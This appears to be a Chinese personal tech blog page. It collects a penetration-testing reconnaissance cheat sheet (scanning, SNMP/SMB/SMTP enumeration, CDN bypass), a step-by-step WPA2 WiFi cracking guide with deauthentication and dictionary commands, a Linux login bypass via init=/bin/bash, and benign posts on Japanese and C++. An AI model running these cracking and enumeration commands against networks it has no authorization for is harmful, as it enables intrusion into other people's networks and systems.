#搜索某些系统的密码在线网站乌云漏洞库:https://wooyun.website/ 网盘搜索: 凌云搜索 https://www.lingfengyun.com/ 盘搜搜:http://www.pansoso.com/ 盘搜:http://www.pansou.com/文件接口工具jsfinder:https://gitee.com/kn1fes/JSFinder Packer-Fuzzer: https://github.com/rtcatc/Packer-Fuzzer SecretFinder:https://gitee.com/mucn/SecretFinder旁站和C段旁站:同一个服务器内的站点。C段:同网段,不同服务器内的站点旁站查询站长之家:http://stool.chinaz.com/same 在线:https://chapangzhan.com/ 搜索引擎:fofa: ip="1.1.1.0/24"C段查询webscan:https://c.webscan.cc/ Nmap: msscan:网站技术架构信息了解网站的基础架构信息,能够帮助我们更有信心的去测试目标系统。基础知识只列出一些↓: 常见的脚本类型语言:asp、php、aspx、jsp、cgi等等 网站类型:电商(偏向于业务逻辑漏洞)、论坛(站点层漏洞、逻辑类漏洞)、门户类(综合类漏洞)等等 数据库:access、mysql、mssql、oracle、postsql等等 源码与数据库组合:asp+access、php+mysql、aspx+mssql、jsp+mssql、oracle、python+mongdb等等 除了这些外,还有加密的结构、目录结构、常见端口号及对应的服务等等这些都需要再进行了解。网站头信息F12 , 浏览器内获取查看 在线网站:http://whatweb.bugscaner.com/look/ Wappalyzer curl命令查询头信息:curl https://bbs.zkaq.cn -iCMS识别CMS可以说指的是网站的源码,如果能识别出一个网站使用的哪一种CMS的话,那么可以通过搜索引擎去发现相应的漏洞,若网站管理员没有处理的话,则可以直接突破站点。云悉:https://www.yunsee.cn/ 潮汐指纹:http://finger.tidesec.net/ whatweb:http://whatweb.bugscaner.com/look/ github查找:https://github.com/search?q=cms识别 whatcms:whatweb bbs.zkaq.cn cmsIdentification:python cmsIdentification.py https://bbs.zkaq.cn/关于IPCDNCDN可以说是一种资源服务器,不仅可以加速网站访问,还可以提供waf服务,如防止cc攻击,SQL注入拦截等多种功能,除此之外,还可以隐藏服务器的真实IP,cdn服务会根据你所在的地区,选择合适的线路给予你访问,所以如何绕过CDN就十分重要了。CDN检测使用全球ping:不同的地区访问有着不同的IP,这样就确定了该域名使用了cdn了 http://ping.chinaz.com/ https://ping.aizhan.com/ https://www.17ce.com/CDN绕过国外dns获取真实IP:部分cdn只针对国内的ip访问,如果国外ip访问域名 即可获取真实IP。 https://www.wepcc.com/ http://www.ab173.com/dns/dns_world.php https://dnsdumpster.com/ https://who.is/whois/zkaq.cn DNS历史绑定记录 https://dnsdb.io/zh-cn/ # DNS查询,查看A记录有哪些,需要会员。 https://x.threatbook.cn/ # 微步在线,需要登录。 https://viewdns.info/ # DNS、IP等查询。 https://tools.ipip.net/cdn.php # CDN查询IP https://sitereport.netcraft.com/ # 记录网站的历史IP解析记录 https://site.ip138.com/ # 记录网站的历史IP解析记录 被动获取:让目标连接我们获得真实IP。比如网站有编辑器可以填写远程URL图片,或者有SSRF漏洞。主机发现二层发现主要利用arp协议,速度快,结果可靠,不过只能在同网段内的主机。arping工具:arping 192.168.1.2 -c 1 nmap工具:192.168.1.1-254 –sn netdiscover -i eth0 -r 192.168.1.0/24 scapy工具:sr1(ARP(pdst="192.168.1.2"))三层发现主要利用ip、icmp协议,速度快但没有二层发现快,可以经过路由转发,理论上可以探测互联网上任意一台存活主机,但很容易被边界防火墙过滤。ping工具:ping 192.168.1.2 –c 2 fping工具:fping 192.168.1.2 -c 1 Hping3工具:hping3 192.168.1.2 --icmp -c 2 Scapy工具:sr1(IP(dst="192.168.1.2")/ICMP()) nmap工具:nmap -sn 192.168.1.1-255四层发现主要利用tcp、udp协议,速度比较慢,但是结果可靠,可以发现所有端口都被过滤的存活主机,不太容易被防火墙过滤。Scapy工具: sr1(IP(dst="192.168.1.2")/TCP(dport=80,flags='A') ,timeout=1)) #tcp发现 sr1(IP(dst="192.168.1.2")/UDP(dport=33333),timeout=1,verbose=1) #udp发现 nmap工具: nmap 192.168.1.1-254 -PA80 –sn #tcp发现 nmap 192.168.1.1-254 -PU53 -sn #udp发现 hping3工具: hping3 192.168.1.1 -c 1 #tcp发现 hping3 --udp 192.168.1.1 -c 1 #udp发现操作系统识别知道目标存活主机的操作系统后,可以依据操作系统来实施针对性的渗透测试。TTL值:Windows(65~128),Linux/Unix(1-64),某些Unix(255) nmap工具:nmap 192.168.1.1 -O xprobe2工具:xprobe2 192.168.1.1 p0f工具:使用后,直接访问目标即可端口扫描端口探测可以发现目标服务器上开启的网络服务以及应用程序,这些都是更具体的一些攻击面。scapy工具: sr1(IP(dst="192.168.1.1")/UDP(dport=53),timeout=1,verbose=1) # UDP端口扫描 sr1(IP(dst="192.168.1.1")/TCP(dport=80),timeout=1,verbose=1) # TCP端口扫描 nmap工具: nmap -sU 192.168.1.1 -p 53 # UDP端口扫描 nmap -sS 192.168.1.1 -p 80 # 半连接tcp扫描 nmap -sT 192.168.1.1 -p 80 # 全连接TCP扫描 nmap 192.168.1.1 -sI 192.168.1.2 -Pn -p 0-100 # 僵尸扫描 dmitry工具:dmitry -p 192.168.1.1 nc工具:nc -nv -w 1 -z 192.168.1.1 1-100 hping3工具:hping3 192.168.1.1 --scan 0-65535 -S服务探测nc工具:nc -nv 192.168.1.1 22 dmitry工具:dmitry -pb 192.168.1.1 nmap工具: nmap -sT 192.168.1.1 -p 22 --script=banner nmap 192.168.1.1 -p 80 -sV amap工具: amap -B 192.168.1.1 1-65535 | grep on amap 192.168.1.1 20-30 -qbSNMP服务SNMP是简单网络管理协议,由于经常被管理员错误配置,导致很容易造成系统的信息泄露,可以说是“信息的金矿”。onesixtyone工具:onesixtyone 192.168.1.1 public snmpwalk工具:snmpwalk 192.168.1.1 -c public -v 2c snmpcheck工具:snmpcheck -t 192.168.1.1 -c private -v 2SMB服务smb是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。默认开放,实现复杂,实现文件共享,这也是微软历史上出现安全问题最多的一个协议。nmap工具:nmap -v -p139,445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.1 nbtscan工具:-r 192.168.1.0/24 enum4linux工具:enum4linux -a 192.168.1.1SMTP服务SMTP是一种提供可靠且有效的电子邮件传输的协议。如果能发现目标系统的邮箱账号,那么可以进行相关的攻击,比如钓鱼等。nc工具:nc -nv 192.168.1.1 25 nmap工具:nmap smtp.163.com -p25 --script=smtp-open-relay.nse smtp-user-enum工具:smtp-user-enum -M VRFY -U users.txt -t 192.168.1.1其他识别一些杂项识别,总之,信息收集就是收集有关目标系统的一切。防火墙识别:nmap -sA 172.16.36.135 -p 22 负载均衡识别:lbd bbs.zkaq.cn WAF识别:nmap bbs.zkaq.cn --script=http-waf-detect.nse其他搜集Shodon语法Net:8.8.8.8 # 查询ip的相关的主机信息,也可以直接搜网段 City:Beijing # 查询城市为北京的设置 Country:CN # 查询属于中国的设备 。CN中国 Port:80 # 查询指定开放端口的设备。 Os:windows # 指定操作系统 Hostname:baidu.com # 搜索主机或域名为baidu.com的主机或设备 Server:Apache # 指定中间件Fofa语法同IP旁站:ip="192.168.0.1“ C段:ip="192.168.0.0/24“ 子域名:domain="baidu.com“ 标题/关键字:title="百度“ 如果需要将结果缩小到某个城市的范围,那么可以拼接语句 title="百度"&& region="Beijing“ 特征:body="百度"或header="baidu"whois查询注册域名的时候留下的信息。比如域名注册人的邮箱、电话号码、姓名等。根据这些信息可以尝试制作社工密码,或者查出更多的资产等等,也可以反查注册人,邮箱,电话,机构及更多的域名。线网站查询站长之家域名WHOIS信息查询地址:http://whois.chinaz.com/ 爱站网域名WHOIS信息查询地址 https://whois.aizhan.com/ 腾讯云域名WHOIS信息查询地址 https://whois.cloud.tencent.com/ 美橙互联域名WHOIS信息查询地址 https://whois.cndns.com/ 爱名网域名WHOIS信息查询地址 https://www.22.cn/domain/ 易名网域名WHOIS信息查询地址 https://whois.ename.net/ 中国万网域名WHOIS信息查询地址 https://whois.aliyun.com/ 西部数码域名WHOIS信息查询地址 https://whois.west.cn/ 新网域名WHOIS信息查询地址 http://whois.xinnet.com/domain/whois/index.jsp 纳网域名WHOIS信息查询地址 http://whois.nawang.cn/反查邮箱福人:https://bbs.fobshanghai.com/checkemail.html whois反查:https://www.benmi.com/rwhois 站长工具:http://whois.chinaz.com/reverse?ddlSearchMode=1注册人反查注册人查询:www.reg007.com 站长工具:http://whois.chinaz.com/reverse?ddlSearchMode=1备案查询天眼查 https://www.tianyancha.com/ 爱站备案查询https://icp.aizhan.com/ 域名助手备案信息查询 http://cha.fute.com/index 站长工具:http://icp.chinaz.com/隐藏域名hosts碰撞一般来说,通过ip直接访问目标,要比通过域名来访问目标网站,得到的信息会更多。但如果域名绑定过多个ip的话,管理员出现配置上的失误,是会导致一些敏感信息泄露的,那么这种情况就可以通过域名+ip捆绑的形式进行碰撞,收集目标公司资产的域名以及解析过的所有ip,将他们一对多的形式进行碰撞,能发现一些很有意思的东西出现。
2022年02月01日
123 阅读
0 评论
34 点赞
2022-01-06
【技术分享】Kali Linux Wifi密码暴力破解
简介Kali Linux是一个专门用于网络安全和渗透测试的操作系统,其中包含了一些强大的工具,也包括用于破解WiFi密码的工具,aircrack-ng 是最常用的WiFi密码破解工具之一,它可以通过捕捉WiFi流量并对其进行分析来破解WPA/WPA2-PSK加密方式的WiFi密码。破解WiFi步骤扫描WiFi网络:使用airmon-ng命令将无线网卡设置为监听模式,并使用airodump-ng命令扫描周围的WiFi网络。捕捉WiFi流量:使用airodump-ng命令捕捉目标WiFi网络的流量,并保存到文件中。筛选握手包:使用airodump-ng命令筛选出握手包,这是破解WPA/WPA2-PSK密码所必需的。破解密码:使用aircrack-ng命令对握手包进行分析,并尝试破解WiFi密码。首先我们需要一张外置的无线网卡,有些内置的无线网卡可能不支持监听模式(monitor mode),这是很久以前我买的一块外置的无线网卡拼多多15元,用外置的无线网卡是为了避免在破解时影响到自己的网络连接和设备的正常运行。ifconfing先查看下ip地址,这个时候我已经接入了外置网卡,所以多出了一块wlan0,有了这个才能完成后面的步骤。airmon-ng start wlan0把wlan0网卡设置为监听模式(monitor mode),来进行WiFi的流量捕捉分析。iwconfig查看下无线网络的信息,可以发现已经设置成功wlan0mon了。airodump-ng wlan0mon好了准备就绪,开始扫描附近的Wifi,可以看见周围的wifi列表信息,列表上展示了wifi的信号强度、加密类型、信道等信息,记好要破解的BSSID和信道ID,airodump-ng -c 11 --bssid 8C:DE:F9:57:D7:5B -w hach wlan0mon监听抓取握手包,按自己的需求稍微修改下信道id和bssid ,回车就可以看见此wifi连接的用户信息,一旦有新用户连接上wifi就会抓到握手包,程序会自动把数据保存文件到本地。# 强制下线 aireplay-ng -0 2 -a BSSID -c STATION wlan0mon如果没有用户连接wifi,没有握手包的情况下,可强制踢下线使用 aireplay-ng -0 2 -a BSSID -c STATION wlan0mon 命令,-0后的2是次数,输入终端回车就可以进行强制踢下线。aircrack-ng -a2 -b 8C:DE:F9:57:D7:5B -w /usr/share/wordlists/rockyou.txt /home/kali/Desktop/hach-01.cap最后输入以上命令回车,稍微自己修改下字典路径与握手包的cap,暴力破解全靠字典当然也需要亿点点运气。
2022年01月06日
54 阅读
0 评论
4 点赞
2022-01-05
【技术分享】Vmware Linux登录密码修改
这里使用ubuntu为例,在开机时,长按Shift键可以进入图片界面。在进入系统后,按e键进行编辑,找到首个选项,即 'ubuntu'。找到系统的启动配置行 'linux',将字符串 'ro maybe-ubiquity' 注意这行内容可能不一样只有 修改为 'rw single init=/bin/bash',按下 F10 键就可以进入系统,进入后类似于 PE 系统,在那里修改用户的密码。rw single init=/bin/bash通过更改密码, 重启后即可登录。
2022年01月05日
44 阅读
0 评论
5 点赞
2022-01-05
【技术分享】Kali Linux 开启SSH服务
实现步骤vi /etc/ssh/sshd_config首先需要进入SSH的配置文件,使用vi编辑文件配置,找到 PubKeyAuthentication 这一行,该选项默认值是no,需要将改成yes。/etc/init.d/ssh restart改完之后,需要重新启动SSH服务,查看本机的IP地址,使用另一台电脑通过SSH协议连接到Kali。这里我用MobaXterm进行连接,可以发现已经可以连上了。
2022年01月05日
21 阅读
0 评论
6 点赞
2021-05-15
【每日随记】日语五十音学习
简介日语五十音是学习日语的基础,日语中发音的音节,有平假名、片假名之分,可以想象成英语中26个字母有大小写之分,中国人学日语是非常简单的,他们国家的文字都是从中国文字演化而来的,不得不感慨中国文化博大精深,作为一个中国人我感到非常骄傲。身为一个中国人为什么要学日语?我只能说每个人都不一样吧,我学日语的原因是因为比较喜欢看动漫,也想多会一门技能。平假名一般是用于日常交流对话之类的时候用的多些,片假名一般用于标明外来词汇或者英语的时候用。平假名片假名1.只要掌握了拼法,很容易就打出来了,所以五十音图很重要哦,平假名和片假名都要会读会写,一眼就能看出读出那就离成功不远了,学习是一个漫长的旅途。元音a i u e o あいうえお1.日语中的元音有5个,其它都是辅音,意思就是从元音的基础上加上辅音发音。ka ki ku ke ko きくけこ sa si su se so さしすせそ2.像这样元音借助辅音发音,就是一个新的音了,连续这样下去是不是会了好多个。a i u e a // 元音 k s t n h m y r w // 辅音 开始团你还没有拉完3.这里借助妍一老师的一个例子,中文首字母加元音拼记法。罗马音罗马音主要作为日文的读音注释,类似于英文中的音标,相当于英文单词的读音解释,与汉语拼音有少许不同。o ha you // 罗马音 おはよう // 日文 早 安 // 中文翻译罗马音拼写a i shi te ru // 罗马音 あいしてる // 日文 我 爱 你 // 中文翻译常用口语おはよう 早おやすみ 晚安ありがとう 谢谢すみません 对不起,抱歉もしもし 喂,在吗やめて 不要,住手やばい 糟糕だいじょうぶ 没关系がんばってね 加油呀そうか 是这样そうですね 是的呢しらない 不知道あいしてる 我爱你だいすき 我喜欢你,最喜欢ただいま 我回来了あいたい 我想你ばか 笨蛋ばかやろう 混蛋へんたい 变态すごい 厉害おきてる 起来了吗だれといっしょ 近来如何どこにいくの 要去哪いまなんじ 现在几点おかげさまで 托你的福おひさしぶり 好久不见まさか 怎么会じょうだんと 开玩笑はい 是数字いち 1 に 2 さん 3よん 4颜色しろ 白あか 红あお 蓝
2021年05月15日
22 阅读
0 评论
5 点赞
2021-04-13
【技术分享】C语言转换汇编代码
简介我会介绍下在Windows环境下使用gcc生成的汇编代码,gcc环境请自行安装好,汇编有好几种格式最常用的也就是 x86-64 Intel格式 和 x86-64 AT&T 语法格式,以下我都会演示,你一定想问为什么要生成汇编,在我看来的确很有用它会让你明白代码在底层是如何进行运作的,在逆向中能懂汇编代码会有很大的帮助。C源代码#include <stdio.h> #include <Windows.h> int main(){ puts("Hello"); system("pause"); return 0; }生成obj文件gcc -c .\test.cIntel 语法格式objdump -M intel -d .\test.o objdump -M intel -d -S .\test.o1.用objdump工具对.o文件进行生成Intel语法格式汇编代码。AT&T 语法格式objdump -d .\test.o2.用objdump工具对.o文件进行生成AT&T语法格式汇编代码。gcc -c .\test.c && objdump -S .\test.o 1.gcc中的 -c参数只激活预处理 编译和汇编生成.o 的obj文件,这里我用了&&符号这是cmd里的并执行的意思,它会先执行 gcc 然后再执行 objdump 让它生成汇编代码。gcc -c .\test.c && objdump -S .\test.o > 1.txt2.然后将内容指定输出到1.txt文本文档里,桌面就会生成1.txt文本文档打开就可以看到AT&T语法格式的汇编代码了。
2021年04月13日
54 阅读
0 评论
3 点赞
2021-04-12
【技术分享】C++ strcpy strncpy 函数
简介strncpy 与 strcpy 差不多都是字符串复制,strncpy函数就多了一个参数可以指定复制的字符数。dest -- 指向用于存储复制内容的目标数组。src -- 要复制的字符串。n -- 要从源中复制的字符数。char *strncpy(char *dest, const char *src, size_t n)#include <iostream> #include <cstring> using namespace std; int main() { string str = "act"; // 创建字符串变量 str char _dst1[1024]; // 创建char _dst2 char _dst2[1024]; // 创建char _dst2 memset(_dst1, '\0', sizeof(_dst1)); // 使用函数 memset() 来清除内存位置 strcpy(_dst1, str.c_str()); // 直接复制str里的字符串 strncpy(_dst2, str.c_str(), 2); // 复制字符串 指定两个字符 cout << _dst1 << ","<< _dst2; return 0; }输出:act,ac1.这个函数要注意,很有可能会导致内存溢出,我给他的buf是 _dst1[1024],如果要复制的内容超出1024那么就会导致溢出。
2021年04月12日
11 阅读
0 评论
2 点赞
2021-04-11
【技术分享】C++ find rfind 语句
简介在C++里 查找字符串位置,可以用到 find 和 rfind,一个从头开找,另个是从尾找。简单例子#include <iostream> using namespace std; int main() { string str = "Hello, World!"; unsigned long f = str.find("l", 4); // 从头偏移4位 就找到World里的l了 unsigned long r = str.rfind("l", 4);// 从尾偏移4位 就找到Hello里的l了 cout << f << "," << r << endl; return 0; }输出:10,3
2021年04月11日
17 阅读
0 评论
1 点赞
2021-04-10
【技术分享】C++ 调用cmd命令
简介个人感觉:能结合外部系统命令或程序是很关键的,在开发中也会用到很多的库和系统提供的api接口,这样才能使我们的程序功能更加的强大,在C++中能执行CMD命令的函数,有system和popen第一个只会执行命令并不能把返回结果传递到变量上,而第二个正好是可以。system函数#include <iostream> int main() { system("ping 127.0.0.1"); return 0; }输出: 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 127.0.0.1 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms1.system只能执行,返回的内容不能保存在变量里。popen函数#include <iostream> #include <stdlib.h> #include <stdlib.h> using namespace std; string cmd(const char *cmd, const int buffer) { char _str[buffer]; string cmd_str; FILE *f = popen("ping 127.0.0.1", "r"); while (fgets(_str, buffer, f) != NULL) { cmd_str += _str; } return cmd_str; } int main() { cout << cmd("dir", 1024); return 0; }输出: 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 127.0.0.1 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms1.popen返回的内容可以保存到变量里。
2021年04月10日
30 阅读
0 评论
1 点赞
2021-04-09
【技术分享】C++ 指针引用
简介首先了解下什么是指针:我的理解:在我们创建一个变量时,运行的时候就会在内存中开辟一块空间用来存储数据,指针是内存地址,指针变量是用来存放内存地址的变量,当我们需要这个地址的值时,只需要指向这块内存地址就可以获取到地址里的数据了。指针在初始化可为空,指针指向的对象可以改变,引用不能为空,必须和引用对象绑定,之后就不能改变了。指针和引用并没有本质区别,引用的底层就是指针,只是做了一层封装。简单例子#include <iostream> using namespace std; int main() { int x = 10; // 创建一个整数变量 就会在内存开辟一个地址空间 int *i = &x; // &x 是取 x 的地址 再存放到空指针里 那么i就是x的地址了 int &j = x; // 取 x 的地址数据 赋值给 j cout << i << endl; cout << j << endl; }输出: i:0x61fe0c j:10#include <iostream> using namespace std; void change(int &x, int &y) { int temp; temp = x; x = y; y = temp; } int main() { int i = 10; int j = 20; change(i, j); cout << i << "," << j << endl; }输出:20,10
2021年04月09日
33 阅读
0 评论
4 点赞
1
...
11
12
13
14
0:00